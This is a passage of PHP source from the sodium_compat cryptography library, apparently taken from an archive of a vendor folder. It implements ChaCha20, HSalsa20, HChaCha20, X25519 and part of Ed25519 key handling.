(int) $j2; $x3 = (int) $j3; $x4 = (int) $j4; $x5 = (int) $j5; $x6 = (int) $j6; $x7 = (int) $j7; $x8 = (int) $j8; $x9 = (int) $j9; $x10 = (int) $j10; $x11 = (int) $j11; $x12 = (int) $j12; $x13 = (int) $j13; $x14 = (int) $j14; $x15 = (int) $j15; # for (i = 20; i > 0; i -= 2) { for ($i = 20; $i > 0; $i -= 2) { # QUARTERROUND( x0, x4, x8, x12) list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12); # QUARTERROUND( x1, x5, x9, x13) list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13); # QUARTERROUND( x2, x6, x10, x14) list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14); # QUARTERROUND( x3, x7, x11, x15) list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15); # QUARTERROUND( x0, x5, x10, x15) list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15); # QUARTERROUND( x1, x6, x11, x12) list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12); # QUARTERROUND( x2, x7, x8, x13) list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13); # QUARTERROUND( x3, x4, x9, x14) list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14); } /* x0 = PLUS(x0, j0); x1 = PLUS(x1, j1); x2 = PLUS(x2, j2); x3 = PLUS(x3, j3); x4 = PLUS(x4, j4); x5 = PLUS(x5, j5); x6 = PLUS(x6, j6); x7 = PLUS(x7, j7); x8 = PLUS(x8, j8); x9 = PLUS(x9, j9); x10 = PLUS(x10, j10); x11 = PLUS(x11, j11); x12 = PLUS(x12, j12); x13 = PLUS(x13, j13); x14 = PLUS(x14, j14); x15 = PLUS(x15, j15); */ /** @var int $x0 */ $x0 = ($x0 & 0xffffffff) + $j0; /** @var int $x1 */ $x1 = ($x1 & 0xffffffff) + $j1; /** @var int $x2 */ $x2 = ($x2 & 0xffffffff) + $j2; /** @var int $x3 */ $x3 = ($x3 & 0xffffffff) + $j3; /** @var int $x4 */ $x4 = ($x4 & 0xffffffff) + $j4; /** @var int $x5 */ $x5 = ($x5 & 0xffffffff) + $j5; /** @var int $x6 */ $x6 = ($x6 & 0xffffffff) + $j6; /** @var int $x7 */ $x7 = ($x7 & 0xffffffff) + $j7; /** @var int $x8 */ $x8 = ($x8 & 0xffffffff) + $j8; /** @var int $x9 */ $x9 = ($x9 & 0xffffffff) + $j9; /** @var int $x10 */ $x10 = ($x10 & 0xffffffff) + $j10; /** @var int $x11 */ $x11 = ($x11 & 0xffffffff) + $j11; /** @var int $x12 */ $x12 = ($x12 & 0xffffffff) + $j12; /** @var int $x13 */ $x13 = ($x13 & 0xffffffff) + $j13; /** @var int $x14 */ $x14 = ($x14 & 0xffffffff) + $j14; /** @var int $x15 */ $x15 = ($x15 & 0xffffffff) + $j15; /* x0 = XOR(x0, LOAD32_LE(m + 0)); x1 = XOR(x1, LOAD32_LE(m + 4)); x2 = XOR(x2, LOAD32_LE(m + 8)); x3 = XOR(x3, LOAD32_LE(m + 12)); x4 = XOR(x4, LOAD32_LE(m + 16)); x5 = XOR(x5, LOAD32_LE(m + 20)); x6 = XOR(x6, LOAD32_LE(m + 24)); x7 = XOR(x7, LOAD32_LE(m + 28)); x8 = XOR(x8, LOAD32_LE(m + 32)); x9 = XOR(x9, LOAD32_LE(m + 36)); x10 = XOR(x10, LOAD32_LE(m + 40)); x11 = XOR(x11, LOAD32_LE(m + 44)); x12 = XOR(x12, LOAD32_LE(m + 48)); x13 = XOR(x13, LOAD32_LE(m + 52)); x14 = XOR(x14, LOAD32_LE(m + 56)); x15 = XOR(x15, LOAD32_LE(m + 60)); */ $x0 ^= self::load_4(self::substr($message, 0, 4)); $x1 ^= self::load_4(self::substr($message, 4, 4)); $x2 ^= self::load_4(self::substr($message, 8, 4)); $x3 ^= self::load_4(self::substr($message, 12, 4)); $x4 ^= self::load_4(self::substr($message, 16, 4)); $x5 ^= self::load_4(self::substr($message, 20, 4)); $x6 ^= self::load_4(self::substr($message, 24, 4)); $x7 ^= self::load_4(self::substr($message, 28, 4)); $x8 ^= self::load_4(self::substr($message, 32, 4)); $x9 ^= self::load_4(self::substr($message, 36, 4)); $x10 ^= self::load_4(self::substr($message, 40, 4)); $x11 ^= self::load_4(self::substr($message, 44, 4)); $x12 ^= self::load_4(self::substr($message, 48, 4)); $x13 ^= self::load_4(self::substr($message, 52, 4)); $x14 ^= self::load_4(self::substr($message, 56, 4)); $x15 ^= self::load_4(self::substr($message, 60, 4)); /* j12 = PLUSONE(j12); if (!j12) { j13 = PLUSONE(j13); } */ ++$j12; if ($j12 & 0xf0000000) { throw new SodiumException('Overflow'); } /* STORE32_LE(c + 0, x0); STORE32_LE(c + 4, x1); STORE32_LE(c + 8, x2); STORE32_LE(c + 12, x3); STORE32_LE(c + 16, x4); STORE32_LE(c + 20, x5); STORE32_LE(c + 24, x6); STORE32_LE(c + 28, x7); STORE32_LE(c + 32, x8); STORE32_LE(c + 36, x9); STORE32_LE(c + 40, x10); STORE32_LE(c + 44, x11); STORE32_LE(c + 48, x12); STORE32_LE(c + 52, x13); STORE32_LE(c + 56, x14); STORE32_LE(c + 60, x15); */ $block = self::store32_le((int) ($x0 & 0xffffffff)) . self::store32_le((int) ($x1 & 0xffffffff)) . self::store32_le((int) ($x2 & 0xffffffff)) . self::store32_le((int) ($x3 & 0xffffffff)) . self::store32_le((int) ($x4 & 0xffffffff)) . self::store32_le((int) ($x5 & 0xffffffff)) . self::store32_le((int) ($x6 & 0xffffffff)) . self::store32_le((int) ($x7 & 0xffffffff)) . self::store32_le((int) ($x8 & 0xffffffff)) . self::store32_le((int) ($x9 & 0xffffffff)) . self::store32_le((int) ($x10 & 0xffffffff)) . self::store32_le((int) ($x11 & 0xffffffff)) . self::store32_le((int) ($x12 & 0xffffffff)) . self::store32_le((int) ($x13 & 0xffffffff)) . self::store32_le((int) ($x14 & 0xffffffff)) . self::store32_le((int) ($x15 & 0xffffffff)); /* Partial block */ if ($bytes < 64) { $c .= self::substr($block, 0, $bytes); break; } /* Full block */ $c .= $block; $bytes -= 64; if ($bytes <= 0) { break; } $message = self::substr($message, 64); } /* end for(;;) loop */ $ctx[12] = $j12; $ctx[13] = $j13; return $c; } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len = 64, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic), $message ); } } PKÜ�\���YY4vendor/paragonie/sodium_compat/src/Core/HSalsa20.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_HSalsa20', false)) { return; } /** * Class ParagonIE_Sodium_Core_HSalsa20 */ abstract class ParagonIE_Sodium_Core_HSalsa20 extends ParagonIE_Sodium_Core_Salsa20 { /** * Calculate an hsalsa20 hash of a single block * * HSalsa20 doesn't have a counter and will never be used for more than * one block (used to derive a subkey for xsalsa20). * * @internal You should not use this directly from another application * * @param string $in * @param string $k * @param string|null $c * @return string * @throws TypeError */ public static function hsalsa20($in, $k, $c = null) { if ($c === null) { $x0 = 0x61707865; $x5 = 0x3320646e; $x10 = 0x79622d32; $x15 = 0x6b206574; } else { $x0 = self::load_4(self::substr($c, 0, 4)); $x5 = self::load_4(self::substr($c, 4, 4)); $x10 = self::load_4(self::substr($c, 8, 4)); $x15 = self::load_4(self::substr($c, 12, 4)); } $x1 = self::load_4(self::substr($k, 0, 4)); $x2 = self::load_4(self::substr($k, 4, 4)); $x3 = self::load_4(self::substr($k, 8, 4)); $x4 = self::load_4(self::substr($k, 12, 4)); $x11 = self::load_4(self::substr($k, 16, 4)); $x12 = self::load_4(self::substr($k, 20, 4)); $x13 = self::load_4(self::substr($k, 24, 4)); $x14 = self::load_4(self::substr($k, 28, 4)); $x6 = self::load_4(self::substr($in, 0, 4)); $x7 = self::load_4(self::substr($in, 4, 4)); $x8 = self::load_4(self::substr($in, 8, 4)); $x9 = self::load_4(self::substr($in, 12, 4)); for ($i = self::ROUNDS; $i > 0; $i -= 2) { $x4 ^= self::rotate($x0 + $x12, 7); $x8 ^= self::rotate($x4 + $x0, 9); $x12 ^= self::rotate($x8 + $x4, 13); $x0 ^= self::rotate($x12 + $x8, 18); $x9 ^= self::rotate($x5 + $x1, 7); $x13 ^= self::rotate($x9 + $x5, 9); $x1 ^= self::rotate($x13 + $x9, 13); $x5 ^= self::rotate($x1 + $x13, 18); $x14 ^= self::rotate($x10 + $x6, 7); $x2 ^= self::rotate($x14 + $x10, 9); $x6 ^= self::rotate($x2 + $x14, 13); $x10 ^= self::rotate($x6 + $x2, 18); $x3 ^= self::rotate($x15 + $x11, 7); $x7 ^= self::rotate($x3 + $x15, 9); $x11 ^= self::rotate($x7 + $x3, 13); $x15 ^= self::rotate($x11 + $x7, 18); $x1 ^= self::rotate($x0 + $x3, 7); $x2 ^= self::rotate($x1 + $x0, 9); $x3 ^= self::rotate($x2 + $x1, 13); $x0 ^= self::rotate($x3 + $x2, 18); $x6 ^= self::rotate($x5 + $x4, 7); $x7 ^= self::rotate($x6 + $x5, 9); $x4 ^= self::rotate($x7 + $x6, 13); $x5 ^= self::rotate($x4 + $x7, 18); $x11 ^= self::rotate($x10 + $x9, 7); $x8 ^= self::rotate($x11 + $x10, 9); $x9 ^= self::rotate($x8 + $x11, 13); $x10 ^= self::rotate($x9 + $x8, 18); $x12 ^= self::rotate($x15 + $x14, 7); $x13 ^= self::rotate($x12 + $x15, 9); $x14 ^= self::rotate($x13 + $x12, 13); $x15 ^= self::rotate($x14 + $x13, 18); } return self::store32_le($x0) . self::store32_le($x5) . self::store32_le($x10) . self::store32_le($x15) . self::store32_le($x6) . self::store32_le($x7) . self::store32_le($x8) . self::store32_le($x9); } } PKÜ�\Ә�**<vendor/paragonie/sodium_compat/src/Core/ChaCha20/IetfCtx.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx', false)) { return; } /** * Class ParagonIE_Sodium_Core_ChaCha20_IetfCtx */ class ParagonIE_Sodium_Core_ChaCha20_IetfCtx extends ParagonIE_Sodium_Core_ChaCha20_Ctx { /** * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 4 0x00 bytes. * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($iv) !== 12) { throw new InvalidArgumentException('ChaCha20 expects a 96-bit nonce in IETF mode.'); } parent::__construct($key, self::substr($iv, 0, 8), $counter); if (!empty($counter)) { $this->container[12] = self::load_4(self::substr($counter, 0, 4)); } $this->container[13] = self::load_4(self::substr($iv, 0, 4)); $this->container[14] = self::load_4(self::substr($iv, 4, 4)); $this->container[15] = self::load_4(self::substr($iv, 8, 4)); } } PKÜ�\C��Dff8vendor/paragonie/sodium_compat/src/Core/ChaCha20/Ctx.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) { return; } /** * Class ParagonIE_Sodium_Core_ChaCha20_Ctx */ class ParagonIE_Sodium_Core_ChaCha20_Ctx extends ParagonIE_Sodium_Core_Util implements ArrayAccess { /** * @var SplFixedArray internally, <int, int> */ protected $container; /** * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 8 0x00 bytes. * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($key) !== 32) { throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.'); } if (self::strlen($iv) !== 8) { throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.'); } $this->container = new SplFixedArray(16); /* "expand 32-byte k" as per ChaCha20 spec */ $this->container[0] = 0x61707865; $this->container[1] = 0x3320646e; $this->container[2] = 0x79622d32; $this->container[3] = 0x6b206574; $this->container[4] = self::load_4(self::substr($key, 0, 4)); $this->container[5] = self::load_4(self::substr($key, 4, 4)); $this->container[6] = self::load_4(self::substr($key, 8, 4)); $this->container[7] = self::load_4(self::substr($key, 12, 4)); $this->container[8] = self::load_4(self::substr($key, 16, 4)); $this->container[9] = self::load_4(self::substr($key, 20, 4)); $this->container[10] = self::load_4(self::substr($key, 24, 4)); $this->container[11] = self::load_4(self::substr($key, 28, 4)); if (empty($counter)) { $this->container[12] = 0; $this->container[13] = 0; } else { $this->container[12] = self::load_4(self::substr($counter, 0, 4)); $this->container[13] = self::load_4(self::substr($counter, 4, 4)); } $this->container[14] = self::load_4(self::substr($iv, 0, 4)); $this->container[15] = self::load_4(self::substr($iv, 4, 4)); } /** * @internal You should not use this directly from another application * * @param int $offset * @param int $value * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($offset)) { throw new InvalidArgumentException('Expected an integer'); } if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } $this->container[$offset] = $value; } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return mixed|null * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } } PKÜ�\=P�5vendor/paragonie/sodium_compat/src/Core/HChaCha20.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_HChaCha20', false)) { return; } /** * Class ParagonIE_Sodium_Core_HChaCha20 */ class ParagonIE_Sodium_Core_HChaCha20 extends ParagonIE_Sodium_Core_ChaCha20 { /** * @param string $in * @param string $key * @param string|null $c * @return string * @throws TypeError */ public static function hChaCha20($in = '', $key = '', $c = null) { $ctx = array(); if ($c === null) { $ctx[0] = 0x61707865; $ctx[1] = 0x3320646e; $ctx[2] = 0x79622d32; $ctx[3] = 0x6b206574; } else { $ctx[0] = self::load_4(self::substr($c, 0, 4)); $ctx[1] = self::load_4(self::substr($c, 4, 4)); $ctx[2] = self::load_4(self::substr($c, 8, 4)); $ctx[3] = self::load_4(self::substr($c, 12, 4)); } $ctx[4] = self::load_4(self::substr($key, 0, 4)); $ctx[5] = self::load_4(self::substr($key, 4, 4)); $ctx[6] = self::load_4(self::substr($key, 8, 4)); $ctx[7] = self::load_4(self::substr($key, 12, 4)); $ctx[8] = self::load_4(self::substr($key, 16, 4)); $ctx[9] = self::load_4(self::substr($key, 20, 4)); $ctx[10] = self::load_4(self::substr($key, 24, 4)); $ctx[11] = self::load_4(self::substr($key, 28, 4)); $ctx[12] = self::load_4(self::substr($in, 0, 4)); $ctx[13] = self::load_4(self::substr($in, 4, 4)); $ctx[14] = self::load_4(self::substr($in, 8, 4)); $ctx[15] = self::load_4(self::substr($in, 12, 4)); return self::hChaCha20Bytes($ctx); } /** * @param array $ctx * @return string * @throws TypeError */ protected static function hChaCha20Bytes(array $ctx) { $x0 = (int) $ctx[0]; $x1 = (int) $ctx[1]; $x2 = (int) $ctx[2]; $x3 = (int) $ctx[3]; $x4 = (int) $ctx[4]; $x5 = (int) $ctx[5]; $x6 = (int) $ctx[6]; $x7 = (int) $ctx[7]; $x8 = (int) $ctx[8]; $x9 = (int) $ctx[9]; $x10 = (int) $ctx[10]; $x11 = (int) $ctx[11]; $x12 = (int) $ctx[12]; $x13 = (int) $ctx[13]; $x14 = (int) $ctx[14]; $x15 = (int) $ctx[15]; for ($i = 0; $i < 10; ++$i) { # QUARTERROUND( x0, x4, x8, x12) list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12); # QUARTERROUND( x1, x5, x9, x13) list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13); # QUARTERROUND( x2, x6, x10, x14) list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14); # QUARTERROUND( x3, x7, x11, x15) list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15); # QUARTERROUND( x0, x5, x10, x15) list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15); # QUARTERROUND( x1, x6, x11, x12) list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12); # QUARTERROUND( x2, x7, x8, x13) list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13); # QUARTERROUND( x3, x4, x9, x14) list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14); } return self::store32_le((int) ($x0 & 0xffffffff)) . self::store32_le((int) ($x1 & 0xffffffff)) . self::store32_le((int) ($x2 & 0xffffffff)) . self::store32_le((int) ($x3 & 0xffffffff)) . self::store32_le((int) ($x12 & 0xffffffff)) . self::store32_le((int) ($x13 & 0xffffffff)) . self::store32_le((int) ($x14 & 0xffffffff)) . self::store32_le((int) ($x15 & 0xffffffff)); } } PKÜ�\#AU�$�$2vendor/paragonie/sodium_compat/src/Core/X25519.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_X25519', false)) { return; } /** * Class ParagonIE_Sodium_Core_X25519 */ abstract class ParagonIE_Sodium_Core_X25519 extends ParagonIE_Sodium_Core_Curve25519 { /** * Alters the objects passed to this method in place. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @param int $b * @return void * @psalm-suppress MixedAssignment */ public static function fe_cswap( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g, $b = 0 ) { $f0 = (int) $f[0]; $f1 = (int) $f[1]; $f2 = (int) $f[2]; $f3 = (int) $f[3]; $f4 = (int) $f[4]; $f5 = (int) $f[5]; $f6 = (int) $f[6]; $f7 = (int) $f[7]; $f8 = (int) $f[8]; $f9 = (int) $f[9]; $g0 = (int) $g[0]; $g1 = (int) $g[1]; $g2 = (int) $g[2]; $g3 = (int) $g[3]; $g4 = (int) $g[4]; $g5 = (int) $g[5]; $g6 = (int) $g[6]; $g7 = (int) $g[7]; $g8 = (int) $g[8]; $g9 = (int) $g[9]; $b = -$b; $x0 = ($f0 ^ $g0) & $b; $x1 = ($f1 ^ $g1) & $b; $x2 = ($f2 ^ $g2) & $b; $x3 = ($f3 ^ $g3) & $b; $x4 = ($f4 ^ $g4) & $b; $x5 = ($f5 ^ $g5) & $b; $x6 = ($f6 ^ $g6) & $b; $x7 = ($f7 ^ $g7) & $b; $x8 = ($f8 ^ $g8) & $b; $x9 = ($f9 ^ $g9) & $b; $f[0] = $f0 ^ $x0; $f[1] = $f1 ^ $x1; $f[2] = $f2 ^ $x2; $f[3] = $f3 ^ $x3; $f[4] = $f4 ^ $x4; $f[5] = $f5 ^ $x5; $f[6] = $f6 ^ $x6; $f[7] = $f7 ^ $x7; $f[8] = $f8 ^ $x8; $f[9] = $f9 ^ $x9; $g[0] = $g0 ^ $x0; $g[1] = $g1 ^ $x1; $g[2] = $g2 ^ $x2; $g[3] = $g3 ^ $x3; $g[4] = $g4 ^ $x4; $g[5] = $g5 ^ $x5; $g[6] = $g6 ^ $x6; $g[7] = $g7 ^ $x7; $g[8] = $g8 ^ $x8; $g[9] = $g9 ^ $x9; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_mul121666(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $h = array( self::mul((int) $f[0], 121666, 17), self::mul((int) $f[1], 121666, 17), self::mul((int) $f[2], 121666, 17), self::mul((int) $f[3], 121666, 17), self::mul((int) $f[4], 121666, 17), self::mul((int) $f[5], 121666, 17), self::mul((int) $f[6], 121666, 17), self::mul((int) $f[7], 121666, 17), self::mul((int) $f[8], 121666, 17), self::mul((int) $f[9], 121666, 17) ); /** @var int $carry9 */ $carry9 = ($h[9] + (1 << 24)) >> 25; $h[0] += self::mul($carry9, 19, 5); $h[9] -= $carry9 << 25; /** @var int $carry1 */ $carry1 = ($h[1] + (1 << 24)) >> 25; $h[2] += $carry1; $h[1] -= $carry1 << 25; /** @var int $carry3 */ $carry3 = ($h[3] + (1 << 24)) >> 25; $h[4] += $carry3; $h[3] -= $carry3 << 25; /** @var int $carry5 */ $carry5 = ($h[5] + (1 << 24)) >> 25; $h[6] += $carry5; $h[5] -= $carry5 << 25; /** @var int $carry7 */ $carry7 = ($h[7] + (1 << 24)) >> 25; $h[8] += $carry7; $h[7] -= $carry7 << 25; /** @var int $carry0 */ $carry0 = ($h[0] + (1 << 25)) >> 26; $h[1] += $carry0; $h[0] -= $carry0 << 26; /** @var int $carry2 */ $carry2 = ($h[2] + (1 << 25)) >> 26; $h[3] += $carry2; $h[2] -= $carry2 << 26; /** @var int $carry4 */ $carry4 = ($h[4] + (1 << 25)) >> 26; $h[5] += $carry4; $h[4] -= $carry4 << 26; /** @var int $carry6 */ $carry6 = ($h[6] + (1 << 25)) >> 26; $h[7] += $carry6; $h[6] -= $carry6 << 26; /** @var int $carry8 */ $carry8 = ($h[8] + (1 << 25)) >> 26; $h[9] += $carry8; $h[8] -= $carry8 << 26; foreach ($h as $i => $value) { $h[$i] = (int) $value; } return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h); } /** * @internal You should not use this directly from another application * * Inline comments preceded by # are from libsodium's ref10 code. * * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10($n, $p) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); # fe_frombytes(x1,p); $x1 = self::fe_frombytes($p); # fe_1(x2); $x2 = self::fe_1(); # fe_0(z2); $z2 = self::fe_0(); # fe_copy(x3,x1); $x3 = self::fe_copy($x1); # fe_1(z3); $z3 = self::fe_1(); # swap = 0; /** @var int $swap */ $swap = 0; # for (pos = 254;pos >= 0;--pos) { for ($pos = 254; $pos >= 0; --$pos) { # b = e[pos / 8] >> (pos & 7); /** @var int $b */ $b = self::chrToInt( $e[(int) floor($pos / 8)] ) >> ($pos & 7); # b &= 1; $b &= 1; # swap ^= b; $swap ^= $b; # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # swap = b; $swap = $b; # fe_sub(tmp0,x3,z3); $tmp0 = self::fe_sub($x3, $z3); # fe_sub(tmp1,x2,z2); $tmp1 = self::fe_sub($x2, $z2); # fe_add(x2,x2,z2); $x2 = self::fe_add($x2, $z2); # fe_add(z2,x3,z3); $z2 = self::fe_add($x3, $z3); # fe_mul(z3,tmp0,x2); $z3 = self::fe_mul($tmp0, $x2); # fe_mul(z2,z2,tmp1); $z2 = self::fe_mul($z2, $tmp1); # fe_sq(tmp0,tmp1); $tmp0 = self::fe_sq($tmp1); # fe_sq(tmp1,x2); $tmp1 = self::fe_sq($x2); # fe_add(x3,z3,z2); $x3 = self::fe_add($z3, $z2); # fe_sub(z2,z3,z2); $z2 = self::fe_sub($z3, $z2); # fe_mul(x2,tmp1,tmp0); $x2 = self::fe_mul($tmp1, $tmp0); # fe_sub(tmp1,tmp1,tmp0); $tmp1 = self::fe_sub($tmp1, $tmp0); # fe_sq(z2,z2); $z2 = self::fe_sq($z2); # fe_mul121666(z3,tmp1); $z3 = self::fe_mul121666($tmp1); # fe_sq(x3,x3); $x3 = self::fe_sq($x3); # fe_add(tmp0,tmp0,z3); $tmp0 = self::fe_add($tmp0, $z3); # fe_mul(z3,x1,z2); $z3 = self::fe_mul($x1, $z2); # fe_mul(z2,tmp1,tmp0); $z2 = self::fe_mul($tmp1, $tmp0); } # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # fe_invert(z2,z2); $z2 = self::fe_invert($z2); # fe_mul(x2,x2,z2); $x2 = self::fe_mul($x2, $z2); # fe_tobytes(q,x2); return self::fe_tobytes($x2); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function edwards_to_montgomery( ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY, ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ ) { $tempX = self::fe_add($edwardsZ, $edwardsY); $tempZ = self::fe_sub($edwardsZ, $edwardsY); $tempZ = self::fe_invert($tempZ); return self::fe_mul($tempX, $tempZ); } /** * @internal You should not use this directly from another application * * @param string $n * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10_base($n) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); $A = self::ge_scalarmult_base($e); if ( !($A->Y instanceof ParagonIE_Sodium_Core_Curve25519_Fe) || !($A->Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe) ) { throw new TypeError('Null points encountered'); } $pk = self::edwards_to_montgomery($A->Y, $A->Z); return self::fe_tobytes($pk); } } PKÜ�\��p��C�C3vendor/paragonie/sodium_compat/src/Core/Ed25519.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_Ed25519', false)) { return; } /** * Class ParagonIE_Sodium_Core_Ed25519 */ abstract class ParagonIE_Sodium_Core_Ed25519 extends ParagonIE_Sodium_Core_Curve25519 { const KEYPAIR_BYTES = 96; const SEED_BYTES = 32; const SCALAR_BYTES = 32; /** * @internal You should not use this directly from another application * * @return string (96 bytes) * @throws Exception * @throws SodiumException * @throws TypeError */ public static function keypair() { $seed = random_bytes(self::SEED_BYTES); $pk = ''; $sk = ''; self::seed_keypair($pk, $sk, $seed); return $sk . $pk; } /** * @internal You should not use this directly from another application * * @param string $pk * @param string $sk * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function seed_keypair(&$pk, &$sk, $seed) { if (self::strlen($seed) !== self::SEED_BYTES) { throw new RangeException('crypto_sign keypair seed must be 32 bytes long'); } /** @var string $pk */ $pk = self::publickey_from_secretkey($seed); $sk = $seed . $pk; return $sk; } /** * @internal You should not use this directly from another application * * @param string $keypair * @return string * @throws TypeError */ public static function secretkey($keypair) { if (self::strlen($keypair) !== self::KEYPAIR_BYTES) { throw new RangeException('crypto_sign keypair must be 96 bytes long'); } return self::substr($keypair, 0, 64); } /** * @internal You should not use this directly from another application * * @param string $keypair * @return string * @throws TypeError */ public static function publickey($keypair) { if (self::strlen($keypair) !== self::KEYPAIR_BYTES) { throw new RangeException('crypto_sign keypair must be 96 bytes long'); } return self::substr($keypair, 64, 32); } /** * @internal You should not use this directly from another application * * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function publickey_from_secretkey($sk) { /** @var string $sk */ $sk = hash('sha512', self::substr($sk, 0, 32), true); $sk[0] = self::intToChr( self::chrToInt($sk[0]) & 248 ); $sk[31] = self::intToChr( (self::chrToInt($sk[31]) & 63) | 64 ); return self::sk_to_pk($sk); } /** * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function pk_to_curve25519($pk) { if (self::small_order($pk)) { throw new SodiumException('Public key is on a small order'); } $A = self::ge_frombytes_negate_vartime(self::substr($pk, 0, 32)); $p1 = self::ge_mul_l($A); if (!self::fe_isnonzero($p1->X)) { throw new SodiumException('Unexpected zero result'); } # fe_1(one_minus_y); # fe_sub(one_minus_y, one_minus_y, A.Y); # fe_invert(one_minus_y, one_minus_y); $one_minux_y = self::fe_invert( self::fe_sub( self::fe_1(), $A->Y ) ); # fe_1(x); # fe_add(x, x, A.Y); # fe_mul(x, x, one_minus_y); $x = self::fe_mul( self::fe_add(self::fe_1(), $A->Y), $one_minux_y ); # fe_tobytes(curve25519_pk, x); return self::fe_tobytes($x); } /** * @internal You should not use this directly from another application * * @param string $sk * @return string * @throws SodiumException * @throws 